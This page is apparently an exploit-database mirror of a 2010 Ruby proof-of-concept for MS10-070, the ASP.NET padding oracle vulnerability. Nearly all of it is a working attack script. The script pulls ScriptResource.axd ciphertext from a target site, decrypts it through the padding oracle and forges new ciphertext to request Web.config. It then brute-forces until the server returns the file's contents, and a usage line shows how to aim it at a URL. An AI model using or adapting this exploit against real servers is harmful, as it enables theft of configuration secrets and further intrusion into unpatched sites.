Home / os / win7

[remote exploits] - MS10-070 ASP.NET Padding Oracle File Dow

Posted on 17 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MS10-070 ASP.NET Padding Oracle File Download | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='MS10-070 ASP.NET Padding Oracle File Download by Agustin Azubel in remote exploits | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>============================================= MS10-070 ASP.NET Padding Oracle File Download ============================================= #!/usr/bin/ruby -w # # aspx_po_chotext_attack.rb # # Copyright (c) 2010 AmpliaSECURITY. All rights reserved # # http://www.ampliasecurity.com # Agustin Azubel - aazubel@ampliasecurity.com # # # MS10-070 ASPX proof of concept # Decrypt data using Vaudenay&#039;s cbc-padding-oracle-side-channel # Encrypt data using Rizzo-Duong CBC-R technique # # Copyright (c) 2010 Amplia Security. All rights reserved. # # Unless you have express writen permission from the Copyright # Holder, any use of or distribution of this software or portions of it, # including, but not limited to, reimplementations, modifications and derived # work of it, in either source code or any other form, as well as any other # software using or referencing it in any way, may NOT be sold for commercial # gain, must be covered by this very same license, and must retain this # copyright notice and this license. # Neither the name of the Copyright Holder nor the names of its contributors # may be used to endorse or promote products derived from this software # without specific prior written permission. # # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS IS&quot; # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # $debugging = false require &#039;net/http&#039; require &#039;uri&#039; require &#039;rexml/document&#039; #&lt;require &#039;xarray&#039;&gt; module XArray def hex_inspect &quot;[#{length}][ #{map { |x| x.hex_inspect }.join &quot;, &quot; } ]&quot; end end class Array include XArray end #&lt;/require &#039;xarray&#039;&gt; #&lt;require &#039;xbase64&#039;&gt; require &#039;base64&#039; class XBase64 def self.encode s s = Base64.encode64 s s = s.gsub &#039;+&#039;, &#039;-&#039; s = s.gsub &#039;/&#039;, &#039;_&#039; s = s.gsub &quot; &quot;, &#039;&#039; s = s.gsub &quot; &quot;, &#039;&#039; s = XBase64.encode_base64_padding s end def self.encode_base64_padding s padding_length = 0 padding_length += 1 while s[-1 - padding_length, 1] == &quot;=&quot; s[0..(-1 - padding_length)] + padding_length.to_s end def self.decode s s = s.gsub &#039;-&#039;, &#039;+&#039; s = s.gsub &#039;_&#039;, &#039;/&#039; s = self.decode_base64_padding s Base64.decode64 s end def self.decode_base64_padding s padding_length = s[-1,1].to_i s[0...-1] + (&quot;=&quot; * padding_length) end end #&lt;/require &#039;xbase64&#039;&gt; #&lt;require &#039;xstring&#039;&gt; module XString def xor other raise RuntimeError, &quot;length mismatch&quot; if self.length != other.length (0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join end alias ^ :xor def hex_inspect printables = [ &quot;a&quot;, &quot;&quot;, &quot;e&quot;, &quot;f&quot;, &quot; &quot;, &quot; &quot;, &quot; &quot;, &quot;v&quot; ] + (0x20..0x7e).entries &quot;[#{length}]&quot; + &quot;&quot;#{unpack(&quot;C*&quot;).map { |x| printables.include?(x) ? x.chr : &quot;\x%02x&quot; % x }.join}&quot;&quot; end def to_blocks blocksize (0...length/blocksize).map { |i| self[blocksize * i, blocksize]} end end class String include XString end #&lt;/require &#039;xstring&#039;&gt; #&lt;require &#039;padding_verification_strategy&#039;&gt; class PaddingVerificationStrategy def initialize parameters @parameters = parameters end def valid_padding? raise RuntimeError, &quot;abstract method !&quot; end end class ErrorCodeStrategy &lt; PaddingVerificationStrategy def valid_padding? response invalid_padding_error_code = @parameters[:invalid_padding_error_code] not (invalid_padding_error_code == response.code) end end class BodyLengthStrategy &lt; PaddingVerificationStrategy def valid_padding? response invalid_padding_body_length = @parameters[:invalid_padding_body_length] absolute_error = @parameters[:absolute_error] not ( (invalid_padding_body_length - response.body.length).abs &lt; absolute_error) end end class BodyContentStrategy &lt; PaddingVerificationStrategy def valid_padding? end end class TimingStrategy &lt; PaddingVerificationStrategy def valid_padding? end end #&lt;/require &#039;padding_verification_strategy&#039;&gt; #&lt;require &#039;padding_oracle_decryptor&#039;&gt; class PaddingOracleDecryptor attr_accessor :blocksize attr_accessor :d_value attr_accessor :http attr_accessor :strategy def initialize @tries = 0 @a = [] @decrypted = [] @blocksize = nil @d_value = nil @http = nil @strategy = nil end def discover_blocksize_and_oracle_behaviour puts &quot;discovering blocksize and oracle behaviour...&quot; [ 16, 8 ].each do |b| ciphertext = @d_value.clone ciphertext[-(b * 3)] ^= 0x01 response = http.send_request ciphertext valid_padding_code = response.code valid_padding_body_length = response.body.length 0.upto b - 1 do |i| ciphertext = @d_value.clone ciphertext[-(b * 2) + i] ^= 0x01 response = http.send_request ciphertext # puts &quot;code: #{response.code}, length: #{response.body.length}&quot; # if valid_padding_code != response.code # puts &quot;padding verification strategy based on error code&quot; # @strategy = ErrorCodeStrategy.new :valid_padding_code =&gt; valid_padding_code, # :invalid_padding_code =&gt; response.code # @blocksize = b # break # end if valid_padding_body_length != response.body.length absolute_error = 200 if (valid_padding_body_length - response.body.length).abs &gt; absolute_error puts &quot;padding verification strategy based on body length&quot; @strategy = BodyLengthStrategy.new :valid_padding_body_length =&gt; valid_padding_body_length, :invalid_padding_body_length =&gt; response.body.length, :absolute_error =&gt; absolute_error @blocksize = b break end end end break if blocksize end raise RuntimeError, &quot;could not select a valid padding verification strategy!&quot; unless blocksize puts &quot;discovered blocksize: #{blocksize}&quot; # blocksize and padding_length leads to automatic tail decryption ! blocksize end def valid_padding? response strategy.valid_padding? response end def ask_oracle r @tries += 1 r = r[1..-1].pack &quot;C&quot; * blocksize ciphertext = d_value + r + @y response = http.send_request ciphertext return 1 if valid_padding? response return 0 end def decrypt_last_word print &quot;last word... &quot; $stdout.flush b = blocksize # 1. pick a few random words r[1],...,r[b] and take i = 0 saved_r = [0] saved_r += (1..b).map { |i| rand 0xff } i = 1 loop do r = saved_r.clone # 2. pick r = r[1],...,r[b-1],(r[b] xor i) r[b] = r[b] ^ i # 3. if O(r|y) = 0 then increment i and go back to the previous step break if ask_oracle(r) == 1 i += 1 raise &quot;failed!&quot; if i &gt; 0xff end # 4. replace r[b] by r[b xor i] saved_r[b] = saved_r[b] ^ i # 5. for n = b down to 2 do # (a) take r = r[1],...,r[b-n],(r[b-n+1] xor 1),r[b-n+2],...,r[b] # (b) if O(r|y) = 0 then stop and output (r[b-n+1] xor n),...,r[b xor n] b.downto 2 do |n| r = saved_r.clone r[b-n+1] = r[b-n+1] ^ 1 if ask_oracle(r) == 0 # puts &quot;lucky #{n}!&quot; n.downto(1) do |t| word = r[b-t+1] ^ n @a[b-t+1] = word puts &quot;a[#{b-t+1}]: #{word}&quot; end return end end r = saved_r.clone # 6. output r[b] xor 1 last_word = r[b] ^ 1 @a[blocksize] = last_word # puts &quot;x07a[#{blocksize}]: 0x%02x&quot; % @a[blocksize] end def decrypt_ax x print &quot;a[#{x}]... &quot; $stdout.flush b = blocksize j = x+1 saved_r = [ 0 ] # 2. pick r[1],...,r[j-1] at random and take i = 0 saved_r += (1..x).map { |i| rand 0xff } i = 0 # 1. take r[k] = a[k] xor ( b - j + 2) for k = j,...,b 2.upto b do |k| saved_r[k] = @a[k] ^ (b - j + 2) if x &lt; k end loop do r = saved_r.clone # 3. take r = r[1]...r[j-2](r[j-1] xor i)r[j]..r[b] r[x] = r[x] ^ i # 4. if O(r|y) = 0 then increment i and go back to the previous step break if (ask_oracle r) == 1 i += 1 raise &quot;failed!&quot; if i &gt; 255 end r = saved_r.clone # 5. output r[j-1] xor i xor (b - j + 2) @a[x] = (r[x] ^ i) ^ (b - j + 2) # puts &quot;x07a[#{x}]: 0x%02x&quot; % @a[x] end def decrypt_block iv, y @tries = 0 @iv = iv @y = y print &quot;decrypting &quot; $stdout.flush decrypt_last_word (blocksize - 1).downto 1 do |j| decrypt_ax j end puts puts &quot;tries: #{@tries}, average: #{(blocksize * 256) / 2}&quot; @a.shift plaintext_block = (0...blocksize).map { |i| @a[i] ^ @iv[i] }.pack &quot;C*&quot; plaintext_block end def decrypt ciphertext plaintext_blocks = Array.new cipher_blocks = ciphertext.to_blocks blocksize iv = &quot;x00&quot; * blocksize cipher_blocks.unshift iv 1.upto cipher_blocks.length - 2 do |i| plaintext_block = decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i] plaintext_blocks.unshift plaintext_block end plaintext_blocks.join end end #&lt;/require &#039;padding_oracle_decryptor&#039;&gt; class ASPXPaddingOracleChosenCiphertextAttack attr_reader :uri attr_reader :filename attr_reader :filelength attr_reader :filere attr_reader :http attr_reader :d_value attr_reader :blocksize attr_reader :axdpath attr_reader :axdname attr_reader :decryptor attr_reader :base_mask def initialize parameters @uri = URI.parse parameters[:uri] @filename = parameters[:filename] @filelength = parameters[:filelength] @filere = parameters[:filere] @http = http_initialize @d_value = nil @base_mask = rand 0xffff @blocksize = nil @axdpath = nil @axdname = nil @decryptor = PaddingOracleDecryptor.new puts &quot;using target: #{@uri}&quot; puts &quot;using base_mask: 0x%04x&quot; % @base_mask end def http_initialize http = Net::HTTP.new @uri.host, @uri.port http end def parse_script_tag xml, re d = nil doc = REXML::Document.new xml doc.elements.each &#039;script&#039; do |e| src_attribute = e.attributes[&#039;src&#039;] md = re.match src_attribute d = md[1] break end raise RuntimeError, &quot;could not parse script_tag&quot; unless d d end private :parse_script_tag def get_ciphertext_sample puts &quot;starting connection...&quot; http.start [ [ &quot;ScriptResource.axd&quot;, //ScriptResource.axd?d=([a-zA-Z0-9-\_]+)&amp;t=[a-z0-9]+/ ] ].each do |name, re| headers = { &#039;User-Agent&#039; =&gt; &#039;Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)&#039; } response = http.get uri.path, headers body = response.body script_tags = body.lines.select { |x| x.index name } next if script_tags.empty? # puts &quot;script tags using #{name} [#{script_tags.length}]:&quot; # puts script_tags.map { |x| &quot; #{x}&quot; } d = parse_script_tag script_tags[0], re puts &quot;using script: #{name}&quot; puts &quot;using d_value: #{d}&quot; @axdpath = uri.path[0, uri.path.rindex(&#039;/&#039;)] @axdname = name @d_value = (&quot;x00&quot; * 16) + (XBase64.decode d) break end raise RuntimeError, &quot;could not find any axd sample&quot; unless d_value decryptor.http = self decryptor.d_value = d_value d_value end def parse_html_body h, body parsed = String.new doc = REXML::Document.new body doc.elements.each h do |e| parsed = e.text break end parsed end def send_request d request = Net::HTTP::Get.new &quot;/#{axdpath}/#{axdname}?d=#{XBase64.encode d}&quot; request[&#039;Connection&#039;] = &#039;Keep-Alive&#039; @http.request request end def decrypt ciphertext decryptor.decrypt ciphertext end def discover_blocksize_and_oracle_behaviour @blocksize = decryptor.discover_blocksize_and_oracle_behaviour end def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks puts &quot;cipher_blocks.count: #{cipher_blocks.count}&quot; required_block_count = 1 + new_plaintext_blocks.length + 1 puts &quot;required_block_count: #{required_block_count}&quot; if required_block_count &lt; cipher_blocks.count then delta = cipher_blocks.count - required_block_count puts &quot;removing #{delta} extra blocks...&quot; cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1] elsif required_block_count &gt; cipher_blocks.count then delta = required_block_count - cipher_blocks.count puts &quot;adding #{delta} extra_blocks...&quot; cipher_blocks = [ cipher_blocks[0], (&quot;x00&quot; * blocksize) * delta ] + cipher_blocks[1..-1] end puts &quot;cipher_blocks.count: #{cipher_blocks.count}&quot; cipher_blocks end private :reallocate_cipher_blocks def generate_new_plaintext_blocks tail_padding = &quot;x01&quot; head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize) head_padding_length = 0 if head_padding_length == blocksize head_padding = &quot;x00&quot; * head_padding_length new_plaintext = head_padding + @filename + tail_padding new_plaintext.to_blocks blocksize end private :generate_new_plaintext_blocks def encrypt puts &quot;encrypting &quot;#{@filename.hex_inspect}...&quot; new_plaintext_blocks = generate_new_plaintext_blocks cipher_blocks = @d_value.to_blocks blocksize cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks puts &quot;decrypting #{new_plaintext_blocks.length} blocks...&quot; (1..new_plaintext_blocks.length).each do |i| puts &quot;block #{i} of #{new_plaintext_blocks.length}&quot; old_plaintext_block = decryptor.decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i] puts &quot;old_plaintext_block: #{old_plaintext_block.hex_inspect}&quot; cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_blocks[-i] end puts &quot;eye candy: decrypting crafted ciphertext&quot; new_plaintext = decrypt cipher_blocks.join puts &quot;new_plaintext: #{new_plaintext.hex_inspect}&quot; @d_value = cipher_blocks.join end def discover_escape_sequence puts &quot;discovering escape sequence...&quot; escape_sequence_mask = nil offset = base_mask % (blocksize - 4) ciphertext = d_value.clone 0x1ffff.times do |mask| ciphertext[offset, 4] = [ base_mask + mask ].pack &quot;L&quot; response = send_request ciphertext print &quot; trying escape_mask: 0x%05x/0x1ffff, http_code: %4d, body_length: %5d&quot; % [ mask, response.code, response.body.length ] next unless response.code == &quot;200&quot; next if filelength and (response.body.length &lt; filelength) next if filere and (not filere =~ response.body) escape_sequence_mask = base_mask + mask puts puts &quot;found!&quot; puts &quot;press any key to show the contents of the file&quot; $stdin.gets puts response.body break end raise RuntimeError, &quot;no more combinations to try !&quot; unless escape_sequence_mask escape_sequence_mask end def pause puts puts &quot;press any key to start the attack&quot; $stdin.gets end def run get_ciphertext_sample pause discover_blocksize_and_oracle_behaviour encrypt discover_escape_sequence end end puts [ &quot;-------------------------------------------&quot;, &quot;aspx_po_chotext_attack.rb&quot;, &quot;(c) 2010 AmpliaSECURITY&quot;, &quot;http://www.ampliasecurity.com&quot;, &quot;Agustin Azubel - aazubel@ampliasecurity.com&quot;, &quot;-------------------------------------------&quot;, &quot; &quot; ].join &quot; &quot; if ARGV.length != 1 then $stderr.puts &quot;usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx&quot; exit end begin parameters = { :uri =&gt; ARGV.first, :filename =&gt; &quot;|||~/Web.config&quot;, :filere =&gt; /configuration/ } x = ASPXPaddingOracleChosenCiphertextAttack.new parameters x.run rescue Exception =&gt; e $stderr.puts &quot;Exploit failed: #{e}&quot; raise if $debugging end # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-17]</pre></body></html>

 

TOP